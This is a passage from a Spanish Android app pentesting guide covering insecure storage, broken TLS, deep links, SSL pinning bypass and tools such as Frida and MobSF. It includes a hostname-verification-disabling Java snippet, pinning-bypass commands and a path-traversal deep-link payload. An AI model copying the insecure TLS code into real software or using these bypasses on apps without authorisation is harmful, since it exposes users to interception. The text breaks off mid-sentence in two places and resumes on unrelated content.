> Para habilitar el filtrado táctil, llame a [`setFilterTouchesWhenObscured(boolean)`](https://developer.android.com/reference/android/view/View#setFilterTouchesWhenObscured%28boolean%29) o establezca el atributo de diseño android:filterTouchesWhenObscured en true. Cuando se habilita, el marco descartará los toques que se reciban siempre que la ventana de la vista esté oculta por otra ventana visible. Como resultado, la vista no recibirá toques cada vez que aparezca una ventana emergente, un cuadro de diálogo u otra ventana por encima de la ventana de la vista.
|
||||
|
||||
### Secuestro de tareas
|
||||
|
||||
{% content-ref url="android-task-hijacking.md" %}
|
||||
[android-task-hijacking.md](android-task-hijacking.md)
|
||||
{% endcontent-ref %}
|
||||
|
||||
### Almacenamiento de datos inseguro
|
||||
|
||||
**Almacenamiento interno**
|
||||
|
||||
Los archivos **creados** en el almacenamiento **interno** son **accesibles** solo por la **aplicación**. Esta protección está implementada por Android y es suficiente para la mayoría de las aplicaciones. Pero los desarrolladores a menudo usan `MODE_WORLD_READBALE` y `MODE_WORLD_WRITABLE` para dar acceso a esos archivos a otra aplicación, pero esto no limita a otras aplicaciones (maliciosas) para acceder a ellos.\
|
||||
Durante el **análisis estático**, comprueba el uso de esos **modos**, durante el **análisis dinámico**, comprueba los **permisos** de los archivos creados (tal vez algunos de ellos sean legibles / escribibles en todo el mundo).\
|
||||
[Más información sobre esta vulnerabilidad y cómo solucionarla aquí.](https://manifestsecurity.com/android-application-security-part-8/)
|
||||
|
||||
**Almacenamiento externo**
|
||||
|
||||
Los archivos creados en el **almacenamiento externo**, como las tarjetas SD, son **legibles y escribibles globalmente**. Debido a que el almacenamiento externo puede ser eliminado por el usuario y también modificado por cualquier aplicación, no debes almacenar información confidencial utilizando el almacenamiento externo.\
|
||||
Al igual que con los datos de cualquier fuente no confiable, debes **validar la entrada** al manejar **datos del almacenamiento externo**. Recomendamos encarecidamente que no almacenes archivos ejecutables o archivos de clase en el almacenamiento externo antes de la carga dinámica. Si tu aplicación recupera archivos ejecutables desde el almacenamiento externo, los archivos deben estar firmados y verificados criptográficamente antes de la carga dinámica.\
|
||||
Información tomada de [aquí](https://manifestsecurity.com/android-application-security-part-8/).
|
||||
|
||||
El almacenamiento externo se puede **acceder** en `/storage/emulated/0`, `/sdcard`, `/mnt/sdcard`
|
||||
|
||||
{% hint style="info" %}
|
||||
A partir de Android 4.4 (**API 17**), la tarjeta SD tiene una estructura de directorios que **limita el acceso de una aplicación al directorio que es específico para esa aplicación**. Esto evita que una aplicación maliciosa obtenga acceso de lectura o escritura a los archivos de otra aplicación.
|
||||
{% endhint %}
|
||||
|
||||
**Datos sensibles almacenados en texto claro**
|
||||
|
||||
* **Preferencias compartidas**: Android permite que cada aplicación guarde fácilmente archivos xml en la ruta `/data/data/<nombrepaquete>/shared_prefs/` y a veces es posible encontrar información sensible en texto claro en esa carpeta.
|
||||
* **Bases de datos**: Android permite que cada aplicación guarde fácilmente bases de datos sqlite en la ruta `/data/data/<nombrepaquete>/databases/` y a veces es posible encontrar información sensible en texto claro en esa carpeta.
|
||||
|
||||
### TLS roto
|
||||
|
||||
**Aceptar todos los certificados**
|
||||
|
||||
Por alguna razón, a veces los desarrolladores aceptan todos los certificados incluso si, por ejemplo, el nombre de host no coincide con líneas de código como la siguiente:
|
||||
```java
|
||||
SSLSocketFactory sf = new cc(trustStore);
|
||||
sf.setHostnameVerifier(SSLSocketFactory.ALLOW_ALL_HOSTNAME_VERIFIER);
|
||||
```
|
||||
Una buena manera de probar esto es intentar capturar el tráfico usando algún proxy como Burp sin autorizar el CA de Burp dentro del dispositivo. Además, se puede generar con Burp un certificado para un nombre de host diferente y usarlo.
|
||||
|
||||
### Criptografía rota
|
||||
|
||||
**Procesos de gestión de claves deficientes**
|
||||
|
||||
Algunos desarrolladores guardan datos sensibles en el almacenamiento local y los cifran con una clave codificada/predictible en el código. Esto no debería hacerse ya que algunos procesos de reversión podrían permitir a los atacantes extraer la información confidencial.
|
||||
|
||||
**Uso de algoritmos inseguros y/o obsoletos**
|
||||
|
||||
Los desarrolladores no deberían usar algoritmos **obsoletos** para realizar comprobaciones de autorización, almacenar o enviar datos. Algunos de estos algoritmos son: RC4, MD4, MD5, SHA1... Si se usan **hashes** para almacenar contraseñas, por ejemplo, se deben usar hashes resistentes a la fuerza bruta con sal.
|
||||
|
||||
### Otras comprobaciones
|
||||
|
||||
* Se recomienda **ofuscar el APK** para dificultar el trabajo de ingeniería inversa a los atacantes.
|
||||
* Si la aplicación es sensible (como las aplicaciones bancarias), debería realizar sus **propias comprobaciones para ver si el móvil está rooteado** y actuar en consecuencia.
|
||||
* Si la aplicación es sensible (como las aplicaciones bancarias), debería comprobar si se está utilizando un **emulador**.
|
||||
* Si la aplicación es sensible (como las aplicaciones bancarias), debería **comprobar su propia integridad antes de ejecutarse** para verificar si fue modificada.
|
||||
* Usar [**APKiD**](https://github.com/rednaga/APKiD) para comprobar qué compilador/packer/ofuscador se usó para construir el APK.
|
||||
|
||||
### Aplicación React Native
|
||||
|
||||
Lea la siguiente página para aprender cómo acceder fácilmente al código JavaScript de las aplicaciones React:
|
||||
|
||||
{% content-ref url="react-native-application.md" %}
|
||||
[react-native-application.md](react-native-application.md)
|
||||
{% endcontent-ref %}
|
||||
|
||||
### Aplicaciones Xamarin
|
||||
|
||||
Las aplicaciones **Xamarin** están escritas en **C#**, para acceder al código C# **descomprimido**, es necesario obtener los archivos del **apk**:
|
||||
```bash
|
||||
7z r app.apk #Or any other zip decompression cmd
|
||||
```
|
||||
Entonces, descomprime todos los DLsL usando [**xamarin-decompress**](https://github.com/NickstaDB/xamarin-decompress)**:**
|
||||
```
|
||||
python3 xamarin-decompress.py -o /path/to/decompressed/apk
|
||||
```
|
||||
### Análisis de código estático automatizado
|
||||
|
||||
La herramienta [**mariana-trench**](https://github.com/facebook/mariana-trench) es capaz de encontrar **vulnerabilidades** mediante el **escaneo** del **código** de la aplicación. Esta herramienta contiene una serie de **fuentes conocidas** (que indican a la herramienta los **lugares** donde la **entrada** está **controlada por el usuario**), **sumideros** (que indican a la herramienta **lugares peligrosos** donde la entrada malintencionada del usuario podría causar daños) y **reglas**. Estas reglas indican la **combinación** de **fuentes-sumideros** que indica una vulnerabilidad.
|
||||
|
||||
Con este conocimiento, **mariana-trench revisará el código y encontrará posibles vulnerabilidades en él**.
|
||||
|
||||
### Secretos filtrados
|
||||
|
||||
Una aplicación puede contener secretos (claves API, contraseñas, URL ocultas, subdominios...) dentro de ella que podrías descubrir. Podrías usar una herramienta como [https://github.com/dwisiswant0/apkleaks](https://github.com/dwisiswant0/apkleaks)
|
||||
|
||||
### Saltarse la autenticación biométrica
|
||||
|
||||
{% content-ref url="bypass-biometric-authentication-android.md" %}
|
||||
[bypass-biometric-authentication-android.md](bypass-biometric-authentication-android.md)
|
||||
{% endcontent-ref %}
|
||||
|
||||
### Otras funciones interesantes
|
||||
|
||||
* **Ejecución de código**: `Runtime.exec(), ProcessBuilder(), código nativo:system()`
|
||||
* **Enviar SMS**: `sendTextMessage, sendMultipartTestMessage`
|
||||
* **Funciones nativas** declaradas como `native`: `public native, System.loadLibrary, System.load`
|
||||
* [Lee esto para aprender **cómo revertir funciones nativas**](reversing-native-libraries.md)
|
||||
|
||||
### **Otros trucos**
|
||||
|
||||
{% content-ref url="content-protocol.md" %}
|
||||
[content-protocol.md](content-protocol.md)
|
||||
{% endcontent-ref %}
|
||||
|
||||
<figure><img src="../../.gitbook/assets/image (7) (2).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
[**Sigue a HackenProof**](https://bit.ly/3xrrDrL) **para aprender más sobre errores web3**
|
||||
|
||||
🐞 Lee tutoriales de errores web3
|
||||
|
||||
🔔 Recibe notificaciones sobre nuevos programas de recompensas por errores
|
||||
|
||||
💬 Participa en discusiones comunitarias
|
||||
|
||||
## Análisis dinámico
|
||||
|
||||
> En primer lugar, necesitas un entorno donde puedas instalar la aplicación y todo el entorno (certificado Burp CA, Drozer y Frida principalmente). Por lo tanto, se recomienda encarecidamente un dispositivo rooteado (emulado o no).
|
||||
|
||||
### Análisis dinámico en línea
|
||||
|
||||
Puedes crear una **cuenta gratuita** en: [https://appetize.io/](https://appetize.io). Esta plataforma te permite **subir** y **ejecutar** APKs, por lo que es útil para ver cómo se comporta un APK.
|
||||
|
||||
Incluso puedes **ver los registros de tu aplicación** en la web y conectarte a través de **adb**.
|
||||
|
||||
![](<../../.gitbook/assets/image (60).png>)
|
||||
|
||||
Gracias a la conexión ADB, puedes usar **Drozer** y **Frida** dentro de los emuladores.
|
||||
|
||||
### Análisis dinámico local
|
||||
|
||||
Puedes usar algún **emulador** como:
|
||||
|
||||
* [**Android Studio**](https://developer.android.com/studio) (Puedes crear dispositivos **x86** y **arm**, y según [**esto**](https://android-developers.googleblog.com/2020/03/run-arm-apps-on-android-emulator.html) **las últimas versiones x86** soportan **bibliotecas ARM** sin necesidad de un emulador ARM lento).
|
||||
* Si quieres intentar **instalar** una **imagen** y luego quieres **eliminarla**, puedes hacerlo en Windows:`C:\Users\<User>\AppData\Local\Android\sdk\system-images\` o Mac: `/Users/myeongsic/Library/Android/sdk/system-image`
|
||||
* Este es el **emulador principal que recomiendo usar y puedes**[ **aprender a configurarlo en esta página**](avd-android-virtual-device.md).
|
||||
* [**Genymotion**](https://www.genymotion.com/fun-zone/) **(Versión gratuita:** Personal Edition, necesitas crear una cuenta. _Se recomienda **descargar** la versión **CON**_ _**VirtualBox** para evitar posibles errores._)
|
||||
* [Nox](https://es.bignox.com) (Gratis, pero no admite Frida o Drozer).
|
||||
|
||||
{% hint style="info" %}
|
||||
Al crear un nuevo emulador en cualquier plataforma, recuerda que cuanto más grande sea la pantalla, más lento funcionará el emulador. Así que selecciona pantallas pequeñas si es posible.
|
||||
{% endhint %}
|
||||
|
||||
Como la mayoría de la gente usará **Genymotion**, ten en cuenta este truco. Para **instalar servicios de Google** (como AppStore) debes hacer clic en el botón marcado en rojo de la siguiente imagen:
|
||||
|
||||
![](<../../.gitbook/assets/image (200) (1).png>)
|
||||
|
||||
Además, ten en cuenta que en la **configuración de la VM de Android en Genymotion** puedes seleccionar el modo de red de **Bridge Network** (esto será útil si te conectarás a la VM de Android desde una VM diferente con las herramientas).
|
||||
|
||||
O podrías usar un **dispositivo físico** (necesitas activar las opciones de depuración y sería genial si pudieras rootearlo):
|
||||
|
||||
1. **Configuración**.
|
||||
2. (Desde Android 8.0) Selecciona **Sistema**.
|
||||
3. Selecciona **Acerca del teléfono**.
|
||||
4. Presiona **Número de compilación** 7 veces.
|
||||
5. Vuelve atrás y encontrarás las **Opciones de desarrollador**.
|
||||
|
||||
> Una vez que hayas instalado la aplicación, lo primero que debes hacer es probarla e investigar qué hace, cómo funciona y sentirte cómodo con ella.\
|
||||
> Sugiero **realizar este análisis dinámico inicial utilizando el análisis dinámico de MobSF + pidcat**, para que puedas **aprender cómo funciona la aplicación** mientras MobSF **captura** muchos **datos interesantes** que puedes revisar más tarde.
|
||||
|
||||
### Fuga de datos no intencional
|
||||
|
||||
**Registro**
|
||||
|
||||
A menudo, los desarrolladores dejan información de depuración públicamente. Por lo tanto, cualquier aplicación con permiso `READ_LOGS` puede **acceder a esos registros** y puede obtener información confidencial a través de ellos.\
|
||||
Mientras navegas por la aplicación, usa [**pidcat**](https://github.com/JakeWharton/pidcat)_(Recomendado, es más fácil de usar y leer)_ o [adb logcat](adb-commands.md#logcat) para leer los registros creados y **buscar información confidencial**.
|
||||
|
||||
{% hint style="warning" %}
|
||||
Ten en cuenta que a partir de las versiones posteriores a Android 4.0, **las aplicaciones solo pueden acceder a sus propios registros**. Por lo tanto, las aplicaciones no pueden acceder a los registros de otras aplicaciones.\
|
||||
De todos modos, todavía se recomienda **no registrar información confidencial**.
|
||||
{% endhint %}
|
||||
|
||||
**Caché del portapapeles**
|
||||
|
||||
Android proporciona un marco basado en el **portapapeles** para proporcionar la función de copiar y pegar en las aplicaciones de Android. Pero esto crea un problema grave cuando alguna **otra aplicación** puede **acceder** al **portapapeles** que contiene algunos datos confidenciales. La función de **copiar/pegar** debería estar **deshabilitada** para la **parte sensible** de la aplicación. Por ejemplo, deshabilita la copia de
|
||||
```
|
||||
adb shell am start -n com.example.demo/com.example.test.MainActivity
|
||||
```
|
||||
**NOTA**: MobSF detectará como malicioso el uso de _**singleTask/singleInstance**_ como `android:launchMode` en una actividad, pero debido a [esto](https://github.com/MobSF/Mobile-Security-Framework-MobSF/pull/750), aparentemente esto solo es peligroso en versiones antiguas (versiones de API < 21).
|
||||
|
||||
{% hint style="info" %}
|
||||
Tenga en cuenta que un bypass de autorización no siempre es una vulnerabilidad, dependerá de cómo funcione el bypass y qué información se exponga.
|
||||
{% endhint %}
|
||||
|
||||
**Fuga de información sensible**
|
||||
|
||||
**Las actividades también pueden devolver resultados**. Si logras encontrar una actividad exportada y no protegida que llame al método **`setResult`** y **devuelva información sensible**, entonces hay una fuga de información sensible.
|
||||
|
||||
### Explotando Proveedores de Contenido - Accediendo y manipulando información sensible
|
||||
|
||||
[**Lea esto si desea recordar qué es un Proveedor de Contenido.**](android-applications-basics.md#content-provider)\
|
||||
Los proveedores de contenido se utilizan básicamente para **compartir datos**. Si una aplicación tiene proveedores de contenido disponibles, es posible que pueda **extraer datos sensibles** de ellos. También es interesante probar posibles **inyecciones SQL** y **travesías de ruta** ya que podrían ser vulnerables.\
|
||||
[**Aprenda cómo explotar Proveedores de Contenido con Drozer.**](drozer-tutorial/#content-providers)
|
||||
|
||||
### **Explotando Servicios**
|
||||
|
||||
[**Lea esto si desea recordar qué es un Servicio.**](android-applications-basics.md#services)\
|
||||
Recuerde que las acciones de un servicio comienzan en el método `onStartCommand`.
|
||||
|
||||
Un servicio es básicamente algo que **puede recibir datos**, **procesarlos** y **devolver** (o no) una respuesta. Entonces, si una aplicación está exportando algunos servicios, debe **verificar** el **código** para entender qué está haciendo y **probarlo** **dinámicamente** para extraer información confidencial, eludir medidas de autenticación...\
|
||||
[**Aprenda cómo explotar Servicios con Drozer.**](drozer-tutorial/#services)
|
||||
|
||||
### **Explotando Receptores de Difusión**
|
||||
|
||||
[**Lea esto si desea recordar qué es un Receptor de Difusión.**](android-applications-basics.md#broadcast-receivers)\
|
||||
Recuerde que las acciones de un Receptor de Difusión comienzan en el método `onReceive`.
|
||||
|
||||
Un receptor de difusión estará esperando un tipo de mensaje. Dependiendo de cómo maneje el receptor el mensaje, podría ser vulnerable.\
|
||||
[**Aprenda cómo explotar Receptores de Difusión con Drozer.**](./#exploiting-broadcast-receivers)
|
||||
|
||||
### **Explotando Esquemas / Enlaces profundos**
|
||||
|
||||
Puede buscar enlaces profundos manualmente, utilizando herramientas como MobSF o scripts como [este](https://github.com/ashleykinguk/FBLinkBuilder/blob/master/FBLinkBuilder.py).\
|
||||
Puede **abrir** un **esquema** declarado usando **adb** o un **navegador**:
|
||||
```bash
|
||||
adb shell am start -a android.intent.action.VIEW -d "scheme://hostname/path?param=value" [your.package.name]
|
||||
```
|
||||
_Nota que puedes **omitir el nombre del paquete** y el móvil automáticamente llamará a la aplicación que debería abrir ese enlace._
|
||||
```markup
|
||||
<!-- Browser regular link -->
|
||||
<a href="scheme://hostname/path?param=value">Click me</a>
|
||||
<!-- fallback in your url you could try the intent url -->
|
||||
<a href="intent://hostname#Intent;scheme=scheme;package=your.package.name;S.browser_fallback_url=http%3A%2F%2Fwww.example.com;end">with alternative</a>
|
||||
```
|
||||
**Código ejecutado**
|
||||
|
||||
Para encontrar el **código que se ejecutará en la aplicación**, ve a la actividad llamada por el enlace profundo y busca la función **`onNewIntent`**.
|
||||
|
||||
![](<../../.gitbook/assets/image (436) (1) (1) (1).png>)
|
||||
|
||||
**Información sensible**
|
||||
|
||||
Cada vez que encuentres un enlace profundo, comprueba que **no esté recibiendo datos sensibles (como contraseñas) a través de los parámetros de la URL**, porque cualquier otra aplicación podría **suplantar el enlace profundo y robar esos datos**.
|
||||
|
||||
**Parámetros en la ruta**
|
||||
|
||||
También **debes comprobar si algún enlace profundo está utilizando un parámetro dentro de la ruta** de la URL como: `https://api.example.com/v1/users/{username}`, en ese caso puedes forzar una travesía de ruta accediendo a algo como: `example://app/users?username=../../unwanted-endpoint%3fparam=value`.\
|
||||
Ten en cuenta que si encuentras los endpoints correctos dentro de la aplicación, podrías causar una **Redirección Abierta** (si parte de la ruta se utiliza como nombre de dominio), **toma de control de la cuenta** (si puedes modificar los detalles de los usuarios sin token CSRF y el endpoint vulnerable utilizó el método correcto) y cualquier otra vulnerabilidad. Más [información sobre esto aquí](http://dphoeniixx.com/2020/12/13-2/).
|
||||
|
||||
**Más ejemplos**
|
||||
|
||||
Un [informe interesante de recompensa por errores](https://hackerone.com/reports/855618) sobre enlaces (_/.well-known/assetlinks.json_).
|
||||
|
||||
### Protección insuficiente de la capa de transporte
|
||||
|
||||
* **Falta de inspección de certificados:** La aplicación de Android no verifica la identidad del certificado presentado. La mayoría de las aplicaciones ignoran las advertencias y aceptan cualquier certificado autofirmado presentado. Algunas aplicaciones, en cambio, pasan el tráfico a través de una conexión HTTP.
|
||||
* **Negociación de handshake débil:** La aplicación y el servidor realizan un handshake SSL/TLS pero utilizan un conjunto de cifrado inseguro que es vulnerable a los ataques MITM. Por lo tanto, cualquier atacante puede descifrar fácilmente esa conexión.
|
||||
* **Fuga de información de privacidad:** La mayoría de las veces sucede que las aplicaciones hacen autenticación a través de un canal seguro pero todas las demás conexiones a través de un canal no seguro. Eso no añade seguridad a la aplicación porque el resto de los datos sensibles como la cookie de sesión o los datos de usuario pueden ser interceptados por un usuario malintencionado.
|
||||
|
||||
De los 3 escenarios presentados, vamos a discutir **cómo verificar la identidad del certificado**. Los otros 2 escenarios dependen de la **configuración TLS** del servidor y si la **aplicación envía datos sin cifrar**. El pentester debe comprobar por su cuenta la configuración TLS del servidor ([aquí](../../network-services-pentesting/pentesting-web/#ssl-tls-vulnerabilites)) y detectar si se envía alguna **información confidencial por un canal no cifrado/vulnerable**.\
|
||||
Más información sobre cómo descubrir y solucionar este tipo de vulnerabilidades [**aquí**](https://manifestsecurity.com/android-application-security-part-10/).
|
||||
|
||||
**SSL Pinning**
|
||||
|
||||
Por defecto, al realizar una conexión SSL, el cliente (aplicación de Android) comprueba que el certificado del servidor tiene una cadena de confianza verificable hasta un certificado de confianza (raíz) y coincide con el nombre de host solicitado. Esto lleva al problema de los **ataques Man in the Middle (MITM)**.\
|
||||
En el certificate Pinnning, una aplicación de Android contiene el certificado del servidor y solo transmite datos si se presenta el mismo certificado.\
|
||||
Se recomienda **aplicar SSL Pinning** para los sitios donde se va a enviar información sensible.
|
||||
|
||||
### Inspección del tráfico HTTP
|
||||
|
||||
En primer lugar, debes (debes) **instalar el certificado** de la herramienta **proxy** que vas a utilizar, probablemente Burp. Si no instalas el certificado CA de la herramienta proxy, es probable que no veas el tráfico cifrado en el proxy.\
|
||||
**Por favor,** [**lee esta guía para aprender cómo instalar un certificado CA personalizado**](android-burp-suite-settings.md)**.**
|
||||
|
||||
Para las aplicaciones que apuntan a **API Level 24+ no es suficiente instalar el certificado Burp** en el dispositivo. Para evitar esta nueva protección, debes modificar el archivo de configuración de seguridad de red. Por lo tanto, podrías modificar este archivo para autorizar tu certificado CA o puedes [**leer esta página para un tutorial sobre cómo forzar a la aplicación a aceptar de nuevo todos los certificados instalados en el dispositivo**](make-apk-accept-ca-certificate.md).
|
||||
|
||||
**SSL Pinning**
|
||||
|
||||
Ya hemos discutido qué es SSL Pinning solo 2 párrafos antes. Cuando se implementa en una aplicación, deberás omitirlo para inspeccionar el tráfico HTTPS o no lo verás.\
|
||||
Aquí voy a presentar algunas opciones que he utilizado para omitir esta protección:
|
||||
|
||||
* Modificar automáticamente el **apk** para **omitir** SSLPinning con [**apk-mitm**](https://github.com/shroudedcode/apk-mitm). El mejor pro de esta opción es que no necesitarás root para omitir el SSL Pinning, pero deberás eliminar la aplicación y reinstalar la nueva, y esto no siempre funcionará.
|
||||
* Podrías usar **Frida** (discutido a continuación) para omitir esta protección. Aquí tienes una guía para usar Burp+Frida+Genymotion: [https://spenkk.github.io/bugbounty/Configuring-Frida-with-Burp-and-GenyMotion-to-bypass-SSL-Pinning/](https://spenkk.github.io/bugbounty/Configuring-Frida-with-Burp-and-GenyMotion-to-bypass-SSL-Pinning/)
|
||||
* También puedes intentar **omitir automáticamente SSL Pinning** usando [**objection**](frida-tutorial/objection-tutorial.md)**:** `objection --gadget com.package.app explore --startup-command "android sslpinning disable"`
|
||||
* También puedes intentar **omitir automáticamente SSL Pinning** usando **MobSF dynamic analysis** (explicado a continuación)
|
||||
* Si todavía crees que hay algún tráfico que no estás capturando, puedes intentar **reenviar el tráfico a burp usando iptables**. Lee este blog: [https://infosecwriteups.com/bypass-ssl-pinning-with-ip-forwarding-iptables-568171b52b62](https://infosecwriteups.com/bypass-ssl-pinning-with-ip-forwarding-iptables-568171b52b62)
|
||||
|
||||
**Vulnerabilidades web comunes**
|
||||
|
||||
Ten en cuenta que en este paso debes buscar vulnerabilidades web comunes. Se puede encontrar mucha información sobre vulnerabilidades web en este libro, así que no las mencionaré aquí.
|
||||
|
||||
### Frida
|
||||
|
||||
Herramienta de instrumentación dinámica para desarrolladores, ingenieros inversos e investigadores de seguridad. Obtén más información en [www.frida.re](https://www.frida.re).\
|
||||
**Es increíble, puedes acceder a la aplicación en ejecución y enganchar métodos en tiempo de ejecución para cambiar el comportamiento, cambiar valores, extraer valores, ejecutar código diferente...**\
|
||||
**Si quieres hacer pentesting de aplicaciones de Android, debes saber cómo usar Frida.**
|
||||
|
||||
**
|
||||
```
|
||||
docker pull opensecurity/mobile-security-framework-mobsf
|
||||
docker run -it -p 8000:8000 opensecurity/mobile-security-framework-mobsf:latest
|
||||
```
|
||||
Ten en cuenta que MobSF puede analizar aplicaciones de **Android** (apk), **IOS** (ipa) y **Windows** (apx) (las aplicaciones de Windows deben ser analizadas desde un MobSF instalado en un host de Windows).\
|
||||
Además, si creas un archivo **ZIP** con el código fuente de una aplicación de **Android** o **IOS** (ve a la carpeta raíz de la aplicación, selecciona todo y crea un archivo ZIP), también podrás analizarlo.
|
||||
|
||||
MobSF también te permite comparar análisis y integrar VirusTotal (necesitarás configurar tu clave API en _MobSF/settings.py_ y habilitarlo: `VT_ENABLED = TRUE` `VT_API_KEY = <Tu clave API>` `VT_UPLOAD = TRUE`). También puedes establecer `VT_UPLOAD` en `False`, entonces se subirá el **hash** en lugar del archivo.
|
||||
|
||||
### Análisis dinámico asistido con MobSF
|
||||
|
||||
MobSF también puede ser muy útil para el análisis dinámico en Android, pero en ese caso necesitarás instalar MobSF y **genymotion** en tu host (una VM o Docker no funcionará). _Nota: Necesitas **iniciar primero una VM en genymotion** y **luego MobSF.**_\
|
||||
El analizador dinámico de **MobSF** puede:
|
||||
|
||||
* **Volcar datos de la aplicación** (URLs, logs, portapapeles, capturas de pantalla realizadas por ti, capturas de pantalla realizadas por "**Exported Activity Tester**", correos electrónicos, bases de datos SQLite, archivos XML y otros archivos creados). Todo esto se hace automáticamente excepto las capturas de pantalla, debes presionar cuando quieras una captura de pantalla o debes presionar "**Exported Activity Tester**" para obtener capturas de pantalla de todas las actividades exportadas.
|
||||
* Capturar **tráfico HTTPS**
|
||||
* Usar **Frida** para obtener **información en tiempo de ejecución**
|
||||
|
||||
A partir de las versiones de Android > 5, **iniciará automáticamente Frida** y establecerá la configuración global de **proxy** para capturar el tráfico. Solo capturará el tráfico de la aplicación probada.
|
||||
|
||||
**Frida**
|
||||
|
||||
Por defecto, también usará algunos scripts de Frida para **omitir el pinning SSL**, **detección de root** y **detección de depurador** y para **monitorear APIs interesantes**.\
|
||||
MobSF también puede **invocar actividades exportadas**, capturar **capturas de pantalla** de ellas y **guardarlas** para el informe.
|
||||
|
||||
Para **iniciar** la prueba dinámica, presiona el botón verde: "**Start Instrumentation**". Presiona "**Frida Live Logs**" para ver los registros generados por los scripts de Frida y "**Live API Monitor**" para ver todas las invocaciones a los métodos enganchados, los argumentos pasados y los valores devueltos (esto aparecerá después de presionar "Start Instrumentation").\
|
||||
MobSF también te permite cargar tus propios **scripts de Frida** (para enviar los resultados de tus scripts de Frida a MobSF, usa la función `send()`). También tiene **varios scripts preescritos** que puedes cargar (puedes agregar más en `MobSF/DynamicAnalyzer/tools/frida_scripts/others/`), solo **selecciona** uno, presiona "**Load**" y presiona "**Start Instrumentation**" (podrás ver los registros de esos scripts dentro de "**Frida Live Logs**").
|
||||
|
||||
![](<../../.gitbook/assets/image (215).png>)
|
||||
|
||||
Además, tienes algunas funcionalidades auxiliares de Frida:
|
||||
|
||||
* **Enumerate Loaded Classes**: Imprimirá todas las clases cargadas.
|
||||
* **Capture Strings**: Imprimirá todas las cadenas capturadas mientras se usa la aplicación (muy ruidoso).
|
||||
* **Capture String Comparisons**: Podría ser muy útil. Mostrará las 2 cadenas que se están comparando y si el resultado fue verdadero o falso.
|
||||
* **Enumerate Class Methods**: Pon el nombre de la clase (como "java.io.File") y se imprimirán todos los métodos de la clase.
|
||||
* **Search Class Pattern**: Buscar clases por patrón.
|
||||
* **Trace Class Methods**: Rastrear una clase completa (ver entradas y salidas de todos los métodos de la clase). Recuerda que por defecto MobSF rastrea varios métodos interesantes de Android Api.
|
||||
|
||||
Una vez que hayas seleccionado el módulo auxiliar que deseas usar, debes presionar "**Start Intrumentation**" y verás todas las salidas en "**Frida Live Logs**".
|
||||
|
||||
**Shell**
|
||||
|
||||
Mobsf también te ofrece una shell con algunos comandos **adb**, comandos **MobSF** y comandos **shell** comunes en la parte inferior de la página de análisis dinámico. Algunos comandos interesantes:
|
||||
```
|
||||
help
|
||||
shell ls
|
||||
activities
|
||||
exported_activities
|
||||
services
|
||||
receivers
|
||||
```
|
||||
**Herramientas HTTP**
|
||||
|
||||
Cuando se captura tráfico http, se puede ver una vista poco atractiva del tráfico capturado en "**HTTP(S) Traffic**" o una vista más agradable en "**Start HTTPTools**" botón verde. Desde la segunda opción, se pueden **enviar** las **solicitudes capturadas** a **proxies** como Burp o Owasp ZAP.\
|
||||
Para hacerlo, _encienda Burp -->_ _apague Intercept --> en MobSB HTTPTools seleccione la solicitud_ --> presione "**Send to Fuzzer**" --> _seleccione la dirección del proxy_ ([http://127.0.0.1:8080\\](http://127.0.0.1:8080)).
|
||||
|
||||
Una vez que haya terminado el análisis dinámico con MobSF, puede presionar "**Start Web API Fuzzer**" para **fuzzear solicitudes http** y buscar vulnerabilidades.
|
||||
|
||||
{% hint style="info" %}
|
||||
Después de realizar un análisis dinámico con MobSF, la configuración del proxy puede estar mal configurada y no se podrá solucionar desde la GUI. Puede solucionar la configuración del proxy haciendo:
|
||||
```
|
||||
adb shell settings put global http_proxy :0
|
||||
```
|
||||
{% endhint %}
|
||||
|
||||
### Análisis dinámico asistido con Inspeckage
|
||||
|
||||
Puedes obtener la herramienta de [**Inspeckage**](https://github.com/ac-pm/Inspeckage).\
|
||||
Esta herramienta utiliza algunos **Hooks** para permitirte saber **qué está sucediendo en la aplicación** mientras realizas un **análisis dinámico**.
|
||||
|
||||
{% content-ref url="inspeckage-tutorial.md" %}
|
||||
[inspeckage-tutorial.md](inspeckage-tutorial.md)
|
||||
{% endcontent-ref %}
|
||||
|
||||
### [Yaazhini](https://www.vegabird.com/yaazhini/)
|
||||
|
||||
Esta es una **gran herramienta para realizar análisis estático con una GUI**
|
||||
|
||||
![](<../../.gitbook/assets/image (527).png>)
|
||||
|
||||
### [Qark](https://github.com/linkedin/qark)
|
||||
|
||||
Esta herramienta está diseñada para buscar varias **vulnerabilidades de seguridad relacionadas con aplicaciones de Android**, ya sea en **código fuente** o en **APK empaquetados**. La herramienta también es **capaz de crear un APK desplegable de "Prueba de concepto"** y **comandos ADB**, para explotar algunas de las vulnerabilidades encontradas (actividades expuestas, intenciones, tapjacking...). Al igual que con Drozer, no es necesario rootear el dispositivo de prueba.
|
||||
```bash
|
||||
pip3 install --user qark # --user is only needed if not using a virtualenv
|
||||
qark --apk path/to/my.apk
|
||||
qark --java path/to/parent/java/folder
|
||||
qark --java path/to/specific/java/file.java
|
||||
```
|
||||
### [**ReverseAPK**](https://github.com/1N3/ReverseAPK.git)
|
||||
|
||||
* Muestra todos los archivos extraídos para una fácil referencia
|
||||
* Descompila automáticamente archivos APK a formato Java y Smali
|
||||
* Analiza AndroidManifest.xml en busca de vulnerabilidades y comportamientos comunes
|
||||
* Análisis estático del código fuente en busca de vulnerabilidades y comportamientos comunes
|
||||
* Información del dispositivo
|
||||
* Intents
|
||||
* Ejecución de comandos
|
||||
* Referencias SQLite
|
||||
* Referencias de registro
|
||||
* Proveedores de contenido
|
||||
* Receptores de difusión
|
||||
* Referencias de servicio
|
||||
* Referencias de archivo
|
||||
* Referencias de criptografía
|
||||
* Secretos codificados
|
||||
* URL's
|
||||
* Conexiones de red
|
||||
* Referencias SSL
|
||||
* Referencias de WebView
|
||||
```
|
||||
reverse-apk relative/path/to/APP.apk
|
||||
```
|
||||
### [SUPER Android Analyzer](https://github.com/SUPERAndroidAnalyzer/super)
|
||||
|
||||
SUPER es una aplicación de línea de comandos que se puede utilizar en Windows, MacOS X y Linux, que analiza archivos _.apk_ en busca de vulnerabilidades. Lo hace descomprimiendo los APK y aplicando una serie de reglas para detectar esas vulnerabilidades.
|
||||
|
||||
Todas las reglas se centran en un archivo `rules.json`, y cada empresa o probador podría crear sus propias reglas para analizar lo que necesitan.
|
||||
|
||||
Descarga los últimos binarios en la [página de descarga](https://superanalyzer.rocks/download.html).
|
||||
```
|
||||
super-analyzer {apk_file}
|
||||
```
|
||||
### [StaCoAn](https://github.com/vincentcox/StaCoAn)
|
||||
|
||||
![](<../../.gitbook/assets/image (62).png>)
|
||||
|
||||
